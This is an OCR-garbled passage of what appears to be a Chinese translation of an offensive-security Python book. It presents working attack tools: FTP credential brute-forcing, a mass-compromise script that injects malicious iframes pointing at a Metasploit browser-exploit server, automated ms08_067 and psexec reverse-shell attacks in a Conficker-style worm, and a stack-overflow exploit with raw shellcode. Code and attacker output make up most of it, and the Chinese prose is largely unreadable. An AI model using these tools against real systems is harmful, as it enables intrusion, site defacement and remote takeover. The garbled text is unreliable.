RFPEJRFZERSRIGIE FTP iRSS. A , —EMumRHEZIAIERIBES |
EXMERT , FFRHEAFPEA "anonymous” | FIFEEFHBHRAB .

F Python 13;2E2 /Y FTP 10583

MEEMms  WMIGREERZR FTP IRSE5HAMEEUTFRER. A , SAR

IZRIRITZ MR EIXEE FTP RUIEIAIIA R | IX(R1EE ZAVERISREE

H&EEEH. FAIRTLAFIR Python B ftplib R EHIEE—NNEIAS |, PSR

INBESRESARTFEZER. R anonLogin((ES—NENEBRICHE— 10

RERATNESRITERER. ATHAXNM/RE  XPTRHEHAEE

BINIEAERE— FTP &8 |, WRATD , MRE] "True” |, FERENRE
“False” ,




ftplib
anonlLogin(hostname):
ftp = ftplib.FTP(hostname)

ftp.login(‘anonymous’', 'me@your.com’)

("\n[*] ' + str(hostname) + ' FTP Anonymous

Logon Succeeded!’)

ftp.quit()

(\n[-] " + str(hostname) + ' FTP Anonymous

Logon Failed!")

host = '192.168.95.179'

anonLogin(host)

BITIXANHAE |, BATTLAEZIESS R Bir LAERE.

attacker# python anonlLogin.py

[*] 192.168.95.179 FTP Anonymous Logon Succeeded.

FIFA Ftplib A% FTP FFIAIE



HEBRER—KREEHRANRSR WA B2 mIaF BERIERREEE
FTP ARSS28AHIAIIR, FTP EFmER | thani

FileZilla , REEEIEEFHEEERENMY. Z2ERAU  BTRENEERY
FTP IFBEREMME, kot , HD Moore EZE¥% get_filezilla_creds.rb B
B2FIFRIAH Metasploit BYATTHRAH 71T R A HRIERT S B R EHRY
FTPIER. BR—E(VEEIE RIS S username/password AEHY
XA, STFXMHIARRER , IR AR

username/password HE,

administrator:password
admin:12345
root:secret

guest:guest

root:toor

MR I6EY FERImEEIZAY anonLogin()EREFEIIE /9 brutelogin()RIEREL.
XNREGEZ ENBINERE S EABNRBSSFREENASER. T8, &
FEXHE—1T , AESKEIRFBTIER  ARX N EEAERPEMNE
B=IRER FTP fRSSes. WIRAID |, HREIBFEFIZBAITTA  NRKKE
FE BRI 1T, NREHENBFSFIZELEKEMY , iR
ElE2 None HI5T4E,

ftplib

bruteLogin(hostname, passwdFile):




pF = (passwdFile, 'r')

line in pF.readlines():

userName = line.split(":")[0]
passWord = line.split(":")[1].strip("\r').strip("\n")
("[+] Trying: " + userName + "/" + passWord)

ftp = ftplib.FTP(hostname)
ftp.login(userName, passWord)
("\n[*] " + str(hostname) + ' FTP Logon
Succeeded: ' + userName + "/" + passWord)
ftp.quit()
(userName, passWord)

("\n[-] Could not brute force FTP credentials.")
( )

host = '192.168.95.179'
passwdFile = 'userpass.txt'

bruteLogin(host, passwdFile)

wEHAFBIERAES | FETHE T RPN NAIERS.

attacker# python brutelLogin.py

[+] Trying: administrator/password



[+] Trying: admin/12345
[+] Trying: root/secret
[+] Trying: guest/guest

[*] 192.168.95.179 FTP Logon Succeeded: guest/guest

£ FTP jR55%8 £ S5#k WEB TOHE

A7 FTPHIERIR , BATEE MRS S ETEEMT WEB i, AT
A, ATESEESIH FTP AOIRSS B S SIRBAR WEB TTE. i
returnDefault(#E—4 FTP SEEEAMAFHRE—MEEIBARE0EE.
BT &EHS NLSTSIHBRAE. XMNREREE RIS

WEB REIS R HSETRIIEA WEB FE S RINEIE retList 4951
s, SERISRET S , REISRERASIE.

ftplib

returnDefault(ftp):

dirList = ftp.nlst()

=
('[-] Could not list directory contents.")

('[-] Skipping To Next Target.")

retList = []




fileName in dirList:
fn = fileName.lower()
php' in fn or ".htm' in fn or ".asp' in fn:

('[+] Found default page: ' + fileName)
retList.append(fileName)

retList

host = '192.168.95.179'
userName = 'guest’
passWord = 'guest’
ftp = ftplib.FTP(host)

ftp.login(userName, passWord)

returnDefault(ftp)

EEXMESEHY FTP R55:8 , HITLBEZIEE=1" WEB TEAEEBRT.
IR T FAIRIERT AR shERA IR o [ 2 2 FA 189 AT,

attacker# python defaultPages.py
[+] Found default page: index.html
[+] Found default page: index.php

[+] Found default page: testmysql.php

ANESIENEAE] WEB TH

PAERAISEHE T WEB TEX | BAIMA— N NEENEEERRE.
AT RIERRIE P — R ERIARSS ST



http://10.10.10.112:8080/exploit TAHE , A JE{ER Metasploit 1228, iF& ,
FA1715%#E ms10_002_aurora B9 Exploit, [E#£AY Exploit #FAEILE Google AY
Wi, 5 http://10.10.10.112:8080/exploit RREBEEREIZE
& XBIREETA TN REERT Shell,

attacker# msfcli exploit/windows/browser/ms10_002_aurora
LHOST=10.10.10.112 SRVHOST=10.10.10.112 URIPATH=/exploit

PAYLOAD=windows/shell/reverse_tcp LHOST=10.10.10.112
LPORT=443 E

[*] Please wait while we load the module tree...
<...SNIPPED...>

LHOST => 10.10.10.112

SRVHOST => 10.10.10.112

URIPATH => /exploit

PAYLOAD => windows/shell/reverse_tcp
LHOST => 10.10.10.112

LPORT => 443

[*] Exploit running as background job.

[*] Started reverse handler on 10.10.10.112:443
[*] Using URL:http://10.10.10.112:8080/exploit
[*] Server started.

msf exploit(ms10_002_aurora) >



(HAIRESSRIZ P HLIZERE R JRIARSS TUH

http://10.10.10.112:8080/exploit G TEANFAIRIPERFF. FNRATD , E©
FEI—NR[FRY TCP Shell FAIFRANTIEAEZS FHLEHAT Windows &3
<. MiXM 4T Shell A BEER B RIZ EE T LSRR PRA T

PAN
o

msf exploit(ms10_002_aurora) > [*] Sending Internet Explorer
"Aurora"

Memory Corruption to client 10.10.10.107

[*] Sending stage (240 bytes) to 10.10.10.107

[*] Command shell session 1 opened (10.10.10.112:443 ->
10.10.10.107:49181) at 2012-06-24 10:05:10 -0600

msf exploit(ms10_002_aurora) > sessions -i 1

[*] Starting interaction with 1...

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>

BTk, BAIRAI— P EEEMBRERIENZ R RESRIRS . 7

I, BT LANKBERIARSS 28 N 2B0ARY WEB TUHE , iEA— iframe , A5

HEBRSNTmEIRSEE L. BEIXA injectPage( R , BIEZ— FTP &

¥, — P RESM—EE[R iframe BIFRFEMERRA |, AR TEREES
IGBTRIZA | 3K | HINEERN iframe RIBRNIGE X4, R, ZREE
XM R BRI UE R RS 5.



ftplib

injectPage(ftp, page, redirect):
I = (page + ".tmp', 'w')
ftp.retrlines('RETR ' + page, f.write)
'[+] Downloaded Page: ' + page
f.write(redirect)
f.close()
'[+] Injected Malicious IFrame on: ' + page
ftp.storlines('STOR ' + page (page + ".tmp"))
'[+] Uploaded Injected Page: ' + page

host = '192.168.95.179'

userName = 'guest’

passWord = 'guest'

ftp = ftplib.FTP(host)

ftp.login(userName, passWord)

redirect = '<iframe
src="http://10.10.10.112:8080/exploit" > </iframe>'

injectPage(ftp, 'index.html’, redirect)

BT80S |, FAITLABRIETE index.htm| TWEAFIEANFKAIRGER
R =TT

attacker# python injectPage.py



[+] Downloaded Page: index.html
[+] Injected Malicious IFrame on: index.html

[+] Uploaded Injected Page: index.html

BRERSE—E

DERAMESFTERIKEE] attack()RELF. attack()REFEI—PENE |
RR& , BEMEABIEAEA. XPREEABRP TSR FTP IRSHs |
BETREMNSHEARE , FTEE— M NEARERMIESHEERNS  AE
HEIESUSRITREZR] FTP BRSS=3.

def attack(username, password, tgtHost, redirect):
ftp = ftplib.FTP(tgtHost)
ftp.login(username, password)
defPages = returnDefault(ftp)
for defPage in defPages:
injectPage(ftp, defPage, redirect)

II—EIEINSE , FNBRESHANEE., RIEEEERNEL=NER
ERFTP Ir55es  AIRKW , BA IS EI R NBREERRSS[APALE. B2AR
BERTES , BN KETETUES k985ytv RIFIGHIKIERE.

ftplib
optparse

time



anonLogin(hostname):

ftp = ftplib.FTP(hostname)
ftp.login('anonymous’, 'me@your.com’)
("\n[*] " + str(hostname) + ' FTP Anonymous

Logon Succeeded.")
ftp.quit()

(\n[-] " + str(hostname) + ' FTP Anonymous

Logon Failed.")

bruteLogin(hostname, passwdFile):
pF = (passwdFile, 'r')
line in pF.readlines():
time.sleep(1)
userName = line.split(":")[0]
passWord = line.split(":")[1].strip("\r').strip("\n")

'[+] Trying: ' + userName + '/ + passWord

ftp = ftplib.FTP(hostname)
ftp.login(userName, passWord)

(\n[*] " + str(hostname) + ' FTP Logon
Succeeded: '+userName+'/'+passWord)
ftp.quit()




(userName, passWord)

("\n[-] Could not brute force FTP credentials.")
( )

returnDefault(ftp):

dirList = ftp.nlst()

=
('[-] Could not list directory contents.")
('[-] Skipping To Next Target.")

retList = []
fileName in dirList:
fn = fileName.lower()
php' in fn or .htm' in fn or ".asp’ in fn:
('[+] Found default page: ' + fileName)
retList.append(fileName)
retList

injectPage(ftp, page, redirect):
I = (page + "tmp', 'w')
ftp.retrlines('RETR ' + page, f.write)
('[+] Downloaded Page: ' + page)
f.write(redirect)




f.close()
('[+] Injected Malicious IFrame on: ' + page)
ftp.storlines('STOR ' + page (page + ".tmp"))
('[+] Uploaded Injected Page: ' + page)

attack(username, password, tgtHost, redirect):
ftp = ftplib.FTP(tgtHost)
ftp.login(username, password)
defPages = returnDefault(ftp)
defPage in defPages:
injectPage(ftp, defPage, redirect)

main():

parser = optparse.OptionParser('usage%yprog -H

<target host[s]> -r <redirect page> [-f <userpass file>]')

parser.add_option('-H' ="tgtHosts' ='string'
='specify target host’)

parser.add_option('-f' ="passwdFile' ='string’
='specify user/password file")

parser.add_option('-r' ='redirect' ='string’
='specify a redirection page’)

(options, args) = parser.parse_args()

tgtHosts = str(options.tgtHosts).split(’', ")

passwdFile = options.passwdFile

redirect = options.redirect
tgtHosts == redirect ==

parser.usage




(0)
tgtHost in tgtHosts:

username =
password =
anonlLogin(tgtHost) ==
username = ‘anonymous’
password = 'me@your.com'
'[+] Using Anonymous Creds to attack’
attack(username, password, tgtHost, redirect)
passwdFile !=
(username, password) = bruteLogin(tgtHost
passwdFile)
password !=
'[+] Using Creds: ' + username + '/' +

password + ' to attack’

attack(username, password, tgtHost, redirect)

BATHA BRI ABE— 1SS FTP fRSS=r  FANBZE=nEREFAN
RIRB RS RAPAIIER , AR TEMEARBEE—TEBRENX
.

attacker# python massCompromise.py -H 192.168.95.179 -r

'<iframe src="



http://10.10.10.112:8080/exploit" > </iframe>" -f userpass.txt
[-] 192.168.95.179 FTP Anonymous Logon Failed.
[+] Trying: administrator/password
[+] Trying: admin/12345
[+] Trying: root/secret
[+] Trying: guest/guest
[*] 192.168.95.179 FTP Logon Succeeded: guest/guest
[+] Found default page: index.html
[+] Found default page: index.php
[+] Downloaded Page: index.html
[+] Injected Malicious IFrame on: index.html
[+] Uploaded Injected Page: index.html
[+] Downloaded Page: index.php
[+] Injected Malicious IFrame on: index.php
[+] Uploaded Injected Page: index.php

[+] Injected Malicious IFrame on: testmysql.php

HAIRREIINKERETET , AERFFEPTIEREIBI IR

WEB fR$38E E., 1Bk, 10.10.10.107 ifa) T RS EREEEEE TG0
BRI L. AT ! Bl B IHERE FTP RSESEBER T —INSEE NG
<17 Shell,

attacker# msfcli exploit/windows/browser/ms10_002_aurora

LHOST=10.10.10.112 SRVHOST=10.10.10.112 URIPATH=/exploit



PAYLOAD=windows/shell/reverse_tcp LHOST=10.10.10.112
LPORT=443 E

[*] Please wait while we load the module tree...

<...SNIPPED...>

[*] Exploit running as background job.

[*] Started reverse handler on 10.10.10.112:443

[*] Using URL:http://10.10.10.112:8080/exploit

[*] Server started.

msf exploit(ms10_002_aurora) >

[*] Sending Internet Explorer "Aurora” Memory Corruption to client
10.10.10.107

[*] Sending stage (240 bytes) to 10.10.10.107

[*] Command shell session 1 opened (10.10.10.112:443 ->
10.10.10.107:65507) at 2012-06-24 10:02:00 -0600

msf exploit(ms10_002_aurora) > sessions -i 1

[*] Starting interaction with 1...

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>

BEAREZIILEERNRFESEFIRT k985ytv I FAITEZHNGHREZ
—. km985ytv BYIARIIEE T 11000 AR 2220 &, BEKER , RERY
REWMEE T 8T 43000000 AIFFRYERARERE 2009 5 |, FikfiFs



IBIRP, X—ESTIBERE. BT, BIBeIE— LT
200 21 EZR 5 BAAENIIRERE.

Conficker IEH , At 455221519

2008 F T8 , ItEHREERE— MBS AN AY4E R OEE,
Conficker #1 W32DownandUp #EHRENLEFERAISIE , RIREESR T 200 2
MERR S BZHEEN. E—YEHETFER  BRRINETE  BR0E
1752 AN IR |, Conficker BEFRIEEFL) , 1 1988 &EHY Morris tERE
ERUNERE. EETRNEDH , H(IVEEM Conficker IFHRAVFER
FHE.

£ EHERI9ERM |, Conficker FIATRAEMMNIEAE, BT, FIE
Windows Server Z&H— 0day @i, FIFEX/NER |, iEHEES [k
it MITBEIEHIT Shellcode F REH— M EIREFRIBERAFN. ZJXFIGE
T3iRRMEAT , Conficker iE =B R HRRIIARNINEEERHLE
(ADMIN$)SGRENZEAFHHIEIERSR.

ZHIE

FemEEs , Conficker AR T —NMEIT 250 NEBZREBAERESIER.
Morris $EHREFERVZRESIERE 432 MBS, XN EERIINES 111
HEINZE, ERE LGSR , BE3HEEEESIX 11 N FEH.,

aaa
academia
anything

coffee



computer
cookie
oracle
password
secret
super

Unknown

FEJLURKHIENIERY , BEIAHTRSEHRAENE L. MESHIXLET
EHGENTRRE LN, XEFBEERREERMRIEBEEREMAY.
DARPA I+ EHMEREBIERINEEIEA , Peiter Zatko LFENEENZENS
BRLT , JEREEiIRERERINAEFE , Bl LR MIAG ST NMT
AGRITEMINZRBAT. ot , BEALR LulzSec £ 2011 F 6 BRHT
26000 MEAWZREIINAGR, E—XEHEANNED | XLZ0EARE
SER—MARTRZML, AT , URRANEE—NE/ \EHEE
KR T — B AR AED.

H Metasploit I{dz Windows SMB 53

AT EHEAIRIIG | FAIS6ER Metasploit 228 , RTLAN T EIRIRIUL T
http://metasploit.com/download/. Metasploit 2FFRNITENZEINE ,
AT XAV FRIEESIIRENRBRINE N A EL A NRZIEZETLER.
FREEF A HD Moore E88FHFF&RRI. Metasploit aRSE NI A RFI AR
R ARG AT ARRTSEULN. &ITHREET Conficker IHHF!
FARSBIA , HD Moore & T7XMMEEMIXE Metasploit #1---ms08-
067_netapi,

FIFE Metasploit FA AT LAEIRERS #1732 E |, BthaEEBuEtt IR RiR
. Metasploit ZITFALE |, LAEHRATHIES 4 hrdas <3t TIRE. 610 .



WNERBAEERIBFRENA 192.168.13.37 , FF ms80-067_netapi i51E M
i, FHREILS 192.168.77.77 LRI 7777 imAAI—A™ TCP Shell,

use exploit/windows/smb/ms08_067_netapi

set RHOST 192.168.1.37

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.77.77

set LPORT 7777

exploit —j -z

TR Metasploit B9 |, Ffi1i%EFA1189 Exploit(exploit/windows/

smb/ms08_067_netapi) , RAEIREBTR/ 192.168.1.37, EF KBl NEEW
159 windows/meterpreter/reverse_tcp iER R EIEERIF IR
192.168.77.77 89 7777 i L , &EFKAIEIF Metasploit FFHIATHERS. R
FECESH conficker.rc , FATRTLAEIZ 45 msfconsole -r conficker.rc 2k
BihENNKE. X7 mSaERF Metasploit #R#E conficker.rc SREa1KE.
NERAIN , FANINIERIRE—MpL1T Shell Ski=HIXI 75BN,

attacker$ msfconsole -r conficker.rc

[*] Exploit running as background job.

[*] Started reverse handler on 192.168.77.77:7777

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)

[*] Attempting to trigger the vulnerability...



[*] Sending stage (752128 bytes) to 192.168.1.37

[*] Meterpreter session 1 opened (192.168.77.77:7777 ->
192.168.1.37:1087) at Fri Nov 11 15:35:05 -0700 2011

msf exploit(ms08_067_netapi) > sessions -i 1

[*] Starting interaction with 1...

meterpreter > execute -i -f cmd.exe

Process 2024 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

F Python fl Metasploit 32H

KET | AL T —NREXY |, BE T —NENFHBRET— shell, EE
XMIFERT 254 NENSEEAXENRTERERBENY , BRURFIFE
Python , EATATLAAE R —MIUERRVIIHEBIA |, 348 445 i OFTFRIEN, , A
[EFIFE Metasploit SEXAF B RELIEN.

B5T , IEBAINSRIRm O3 G FHFIA python-nmap &R, X8 | &K
£ findTotsOLABTEBIRENUEABIA |, IRBIFFAF T TCP 445 tmRIEL,
TCP 445 im[02 SMB thNEEIR . REEHNARY TCP 445 im0 2FFHHT
HAIRIRAHEERBIBE | XSERRENXI R =UERZAIES., REEd
IEACTIEFTERIENL , ANRBECRIETIFNT 445 inl , BUSEFUIIAGIZR
. FERIEE | RBSIREIESAETTN 445 inOEHAIFIE.

import nmap



def findTgts(subNet):
nmScan = nmap.PortScanner()
nmScan.scan(subNet, '445')
tgtHosts =[]
for host in nmScan.all_hosts():
if nmScan[host].has_tcp(445):
state = nmScan[host]['tcp']1[445][ state’]
if state == 'open’:
print '[+] Found Target Host: ' + host
tgtHosts.append(host)

return tgtHosts

BTk BB ERNENBIRZERNT , RIrsssE&anSiT5iEdEE |
— Bt EERINEA TSI LASImfE BinENIHITRRE. Metasploit 12t 75%
HRIEhSRIINTE L Meterpreter, Metasploit B Meterpreter 1Iz{77EITiE
FNL , REEFAIRSITRFREHEN  BE T XENEHFS T EIREN
HIBEN]. Meterpreter BT apS1THYIBES] | BIEEFENE , KX | ITfE
BH , KEEEICRSS , TEERESE Hash BEEETEE.

3 Meterpreter RENEZRIEE M , FHESIENAY Metasploit ALY
i multi/handler, AT EFKAIBIEN _LIRE multi/handler BISSITES | FAi
BAEESTESE Metasploit (IEREEEX . T2 HIIEigE—
B TCP R a2 PR FA I ANt A S B SR ROt R i
O8., ok, BITEIRE— 1 2BHEE DisablePayloadHandler SEFRRLUSE
TFrBNENEBIIRERITES  BARKIIEKEERERT.

def setupHandler(configFile, lhost, Iport):



configFile.write('use exploit/multi/handler\n’)

configFile.write('set PAYLOAD
windows/meterpreter/reverse_tcp\n')

configFile.write('set LPORT ' + str(lport) + "\n’)
configFile.write('set LHOST ' + lhost + '\n’)
configFile.write('exploit -j -z\n')

configFile.write('setg DisablePayloadHandler 1\n’)

&E  HASEEST 7TEBRREN. XPREUEEI— Metasploit Bt
EXH , — N BirEN , — A lE O EASARTESENL, X
HENEFER exploit ZIELEX 4. BSEITIEFEFHREY exploit---ms08-
067_netapi , BL4% Conficker $5RFIFRY exploit IKEHBR. /b, BIAE
4% Meterpreter Wi B ENABIBUFIABIRO. &5, BRE—NME
SHRMEBEREN , EREHITIIEG) , EARSLITARE(-2) , ZHAF
FE—WSERER , BACKESNEN , TESHLARIENFITZE.

def confickerExploit(configFile, tgtHost, lhost, Iport):
configFile.write('use exploit/windows/smb/ms08_067_netapi\n’)
configFile.write('set RHOST ' + str(tgtHost) + "\n’)

configFile.write('set PAYLOAD
windows/meterpreter/reverse_tcp\n’)

configFile.write('set LPORT ' + str(lport) + "\n’)
configFile.write('set LHOST ' + lhost + "\n’)

configFile.write('exploit -j -z\n")



IR T S IR

SWEHEKIIAER) ms08-067_netapi By exploit Wi HFRRIZZERIAHIE |
BERTERNNTEHN T BEREINNARIE. Bt , BAEER

Conficker IZRFERNE-NREAE. BEBIRARZIZEBENES R
% SMB RSB IREXEHNRITBTERITEFINR. B2 smbBrute %
Metasploit BEeEX 1 , BirEN . —RIEBRBHSUY |, Attt FIAthimO/E
AN, ARFHITIE. BIRERFEABIAR Windows EIER
administrator ZAJSFIFFEIESUS. WFXENE—NER |, REEEL—
Metasploit BRECE X4 T (FRIEERITIZFH exploit, SIR—1NAFE
FIZRBESHIN T | exploit =55 Meterpreter Th ik mIERE ANt
=ikl gy N

def smbBrute(configFile, tgtHost, passwdFile, lhost, Iport):

username = 'Administrator’

pF = open(passwdFile, 'r’)

for password in pF.readlines():
password = password.strip('\n’).strip(‘\r’)
configFile.write('use exploit/windows/smb/psexec\n’)
configFile.write('set SMBUser ' + str(username) + "\n’)
configFile.write('set SMBPass ' + str(password) + "\n')
configFile.write('set RHOST ' + str(tgtHost) + '\n’)

configFile.write('set PAYLOAD
windows/meterpreter/reverse_tcp\n')

configFile.write('set LPORT ' + str(lport) + '\n')
configFile.write('set LHOST ' + lhost + '\n’)

configFile.write(‘exploit -j -z\n")



BB RIMTE—EZ Y FEAIB CHI Conficker IS

SERrERITIRERE—E , FNAMADEESLE&AEER , FIA ms08-
067_netapi i , E£H# SMB PR BIEFHITERITIEFRIRENT . &5,
HAIHEIN—LERIZA AR main(REGELARISRIREE S B RE—ERA.
STEAIRIBAIT.

oS
optparse
Sys

nmap

findTgts(subNet):
nmScan = nmap.PortScanner()
nmScan.scan(subNet, '445")
tgtHosts = []
host in nmScan.all_hosts():
nmScan[host].has_tcp(445):
state = nmScan[host]['tcp'][445]['state’]
state == 'open"
'[+] Found Target Host: ' + host
tgtHosts.append(host)
tgtHosts

setupHandler(configFile, Ihost, Iport):



configFile.write('use exploit/multi/handler\n")
configFile.write('set PAYLOAD
windows/meterpreter/reverse_tcp\n')
configFile.write('set LPORT ' + str(lport) + "\n')
configFile.write('set LHOST ' + lhost + "\n')
configFile.write(‘exploit -j -z\n')
configFile.write('setg DisablePayloadHandler 1\n")
confickerExploit(configFile, tgtHost, lhost, Iport):
configFile.write('use
exploit/windows/smb/ms08_067_netapi\n')
configFile.write('set RHOST ' + str(tgtHost) + "\n’)
configFile.write('set PAYLOAD
windows/meterpreter/reverse_tcp\n')
configFile.write('set LPORT ' + str(lport) + "\n')
configFile.write('set LHOST ' + lhost + "\n')
configFile.write(‘exploit -j -z\n")
smbBrute(configFile, tgtHost, passwdFile, lhost
lport):
username = 'Administrator’
pF = (passwdFile, 'r')
password in pF.readlines():
password = password.strip("\n").strip("\r")
configFile.write('use exploit/windows/smb/psexec\n’)
configFile.write('set SMBUser ' + str(username) + '

configFile.write('set SMBPass ' + str(password) + "\n')
configFile.write('set RHOST ' + str(tgtHost) + "\n')
configFile.write('set PAYLOAD




windows/meterpreter/reverse_tcp\n')
configFile.write('set LPORT ' + str(lport) + "\n’)
configFile.write('set LHOST ' + lhost + "\n")
configFile.write(‘exploit -j -z\n')

main():
configFile = (‘meta.rc’, 'w')
parser = optparse.OptionParser('[-] Usage%prog -H
<RHOSTI[s]> -I <LHOST> [-p <LPORT> -F <Password
File>]")
parser.add_option('-H' ="tgtHost' ='string'
='specify the target address[es]')
parser.add_option('-p' ='lport' ='string’

="'specify the listen port’)

parser.add_option('-I' ='lhost’ ='string’
='specify the listen address')
parser.add_option('-F' ="passwdFile’ ='string’
='password file for SMB brute force attempt’)
(options, args) = parser.parse_args()
(options.tgtHost == ) | (options.lhost ==
parser.usage
(0)
Ihost = options.lhost
lport = options.lport
lport ==
lport = '1337"
passwdFile = options.passwdFile




tgtHosts = findTgts(options.tgtHost)

setupHandler(configFile, lhost, Iport)
tgtHost in tgtHosts:
confickerExploit(configFile, tgtHost, |host, Iport)

passwdFile !=
smbBrute(configFile, tgtHost, passwdFile, lhost
lport)
configFile.close()
os.system(‘msfconsole -r meta.rc’)

_name__=='_main__":

main()

ZI B LR IR FBRERR BRI EER. AW 2B EMINKESEN
BiRENVEAT ? {REREIRE CRY Oday I ? 1EE FRAIETH |, Fefi)
HAMGEFA]E CRY Oday I,

attacker# python conficker.py -H 192.168.1.30-50 -1 192.168.1.3 -F
passwords.txt

[+] Found Target Host: 192.168.1.35

[+] Found Target Host: 192.168.1.37

[+] Found Target Host: 192.168.1.42

[+] Found Target Host: 192.168.1.45

[+] Found Target Host: 192.168.1.47

<..SNIPPED..>

[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)

[*] Attempting to trigger the vulnerability...



[*] Sending stage (752128 bytes) to 192.168.1.37

[*] Meterpreter session 1 opened (192.168.1.3:1337 ->
192.168.1.37:1087) at Sat Jun 23 16:25:05 -0700 2012

<..SNIPPED..>

[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (752128 bytes) to 192.168.1.42

[*] Meterpreter session 1 opened (192.168.1.3:1337 ->

192.168.1.42:1094) at Sat Jun 23 15:25:09 -0700 2012

HEIRECAY 0day POC i3

E—75R3 Conficker IFHA BRI HkimtiFiE. Metasploit {B2REET/1H
FIR—IC /Y exploit , {RATEERIZEIE(RE CERITEUEHITAY exploit B
8, X—TFA G HEERER Python E{IX—EFE, ATHMENIXL , FHi1E
FraiRHiFEE P XiEHAIRNR,

Morris #RERAINRTER D RERZ Finger BRSSAVMERE P XimHAVRREFA. X
KIERIRINRR AEFIERFPBANEWASE. KE Morris IRt
1988 FRIAT HikZPXimtiRE , BEZ 1996 & Elias Levy A RFX T —R=F
A3 “Smashing the Stack for Fun and Profit” £ Phrack Z¢& E. 40
SRR R P KIS HIERIFRIEARRERNE , B THES | JLUFAEDX
BXE., BEMNNENMS | FISTChEHHRERE P XiaH RN KRR
7



EF SR XiEhIE

TR P Ximtkit , REEGERNAFEIEES 7 F—18< EIP Mz
HIEFRYMIE. Exploit Hi5§ EIP HzsafsmBEEEA ShellCode RINE.
—Z&JIRIHEEAES ShellCode BEFIF exploit FEERARSEIEMAR | EE
HEHE TEH—MNEZAATHITXE. ShellCode BRRMIATREMTRE | T2
BURTARFZERIAKN.

HEFHERZMRES exploit FiARISK , EFHEENXiGHREARE TR
YAHY exploit @&, MEXEM exploit iX7EIEIN, 2011FE7 B , FHI—BF
RAEMRT — N80T FTP BRSSE8AY exploit, BAFFA exploit LIFE2—1
REFANES | (BSEFRAIBEAABEIDT 80 17(B2E£Y 30 178Y shell 1X43).

AMIERIKRITER

EERAIFFIATIE A I0Y exploit BOKEITR. BAERINZRERKINN

shellcode 28 & Metasploit {EZR AFA TERMRI 7 SHFIIRIBAIIN T2
ETERITEERIMHLETENS 246 PF& A BISTEI(16 HH79\x41),
BRI BRERHEIEES 28— kernel.dll #BilE , 87— EHEBEIETRIREY
184, BINMEFREES—FKY 150 N NOP 8SHTE, XMWETHAIN

NOP &% . &EHIIESHENEZEAN— TR  RIIFRIRHE.

EFHREPXIEE exploit HEFER
i - FPRMNBE T I R O TRV

IREHENE © 4 SRR EERITRIRAY 4 NFET5R0MENE, R TR
exploit & , FAIFE 4 NFTHROHEHIER kernel.dIl B9 JMP ESP #8545,

IB7Y) - 1£ shellcode ZRIF—FFIRI NOP(ZEQ)IES. AIFHEEBUE
EHEIROEIE, NRKEFEDZ NOP BT |, BiFEEaE

shellcode,

Shellcode : —/\E&C4wH/2865. £ FEIBYGIF , FA11EFIF Metasploit &
F% Shellcode RS,



shellcode = ("\xbf\x5c\x2a\x11\xb3\xd9\xe5\xd9\x74\x24\xf4
\x5d\x33\xc9"
"\xb1\x56\x83\xc5\x04\x31\x7d\x0f\x03\x7d\x53\xc8\xe4\x4f"
"\x83\x85\x07\xb0\x53\xf6\x8e\x55\x62\x24\xf4\x1e\xd6\xf8"
"\x7e\x72\xda\x73\xd2\x67\x69\xf1\xfb\x88\xda\xbc\xdd\xa7"
"\xdb\x70\xe2\x64\x1f\x12\x9e\x76\x73\xf4\x9f\xb8\x86\xf5"
"\xd8\xa5\x68\xa7\xb1\xa2\xda\x58\xb5\xf7\xe6\x59\x19\x7c"
"\x56\x22\x1c\x43\x22\x98\x1f\x94\x9a\x97\x68\x0c\x91\xf0"
"\x48\x2d\x76\xe3\xb5\x64\xf3\xd0\x4e\x77\xd5\x28\xae\x49"
"\x19\xe6\x91\x65\x94\xf6\xd6\x42\x46\x8d\x2c\xb1\xfb\x96"
"\xf6\xcb\x27\x12\xeb\x6c\xac\x84\xcf\x8d\x61\x52\x9b\x82"
"\xce\x10\xc3\x86\xd1\xf5\x7f\xb2\x5a\xf8\xaf\x32\x18\xdf"
"\x6b\x1e\xfb\x7e\x2d\xfa\xaa\x7f\x2d\xa2\x13\xda\x25\x41"
"\x40\x5c\x64\x0e\xa5\x53\x97\xce\xal\xed\xed\xfc\x6e\x5f"
"\x63\x4d\xe7\x79\x74\xb2\xd2\x3e\xea\x4d\xdc\x3e\x22\x8a"
"\x88\x6e\x5c\x3b\xb0\xe4\x9c\xc4\x65\xaa\xcc\x6a\xd5\x0b"
"\xbd\xca\x85\xe3\xd7\xc4\xfa\x14\xd8\x0e\x8d\x12\x16\x6a"
"\xde\xf4\x5b\x8c\xf1\x58\xd5\x6a\x9b\x70\xb3\x25\x33\xb3"
"\xe0\xfd\xa4\xcc\xc2\x51\x7d\x5b\x5a\xbc\xb9\x64\x5b\xea"
"\xea\xc9\xf3\x7d\x78\x02\xc0\x9c\x7f\x0f\x60\xd6\xb8\xd8"
"\xfa\x86\x0b\x78\xfa\x82\xfb\x19\x69\x49\xfb\x54\x92\xc6"

"\xac\x31\x64\x1f\x38\xac\xdf\x89\x5e\x2d\xb9\xf2\xda\xea"



"\x7a\xfc\xe3\x7f\xc6\xda\xf3\xb9\xc7\x66\xa7\x15\x9%e\x30"
"\x11\xd0\x48\xf3\xcb\x8a\x27\x5d\x9b\x4b\x04\x5e\xdd\x53"
"\x41\x28\x01\xe5\x3c\x6d\x3e\xca\xa8\x79\x47\x36\x49\x85"
"\x92\xf2\x79\xcc\xbe\x53\x12\x89\x2b\xe6\x7f\x2a\x86\x25"
"\x86\xa9\x22\xd6\x7d\xb1\x47\xd3\x3a\x75\xb4\xa9\x53\x10"
"\xba\x1e\x53\x31")

overflow = "\x41" * 246

ret = struct.pack(’'<L’', 0x7C874413) #7C874413 JMP ESP
kernel32.dll

padding = "\x90" * 150

crash = overflow + ret + padding + shellcode

A% exploit

{ERMBTEFIERT APL, BAMGEIE— P RIFABEFREN 21 ixRI TCP &,
SNERIEZAY] | BB AEERRIAFE BBR92 T EMRTAL. &a
HA MG RIE FTP 65 "RETR" EERERHAINIHELRE. HTEMAMNERT
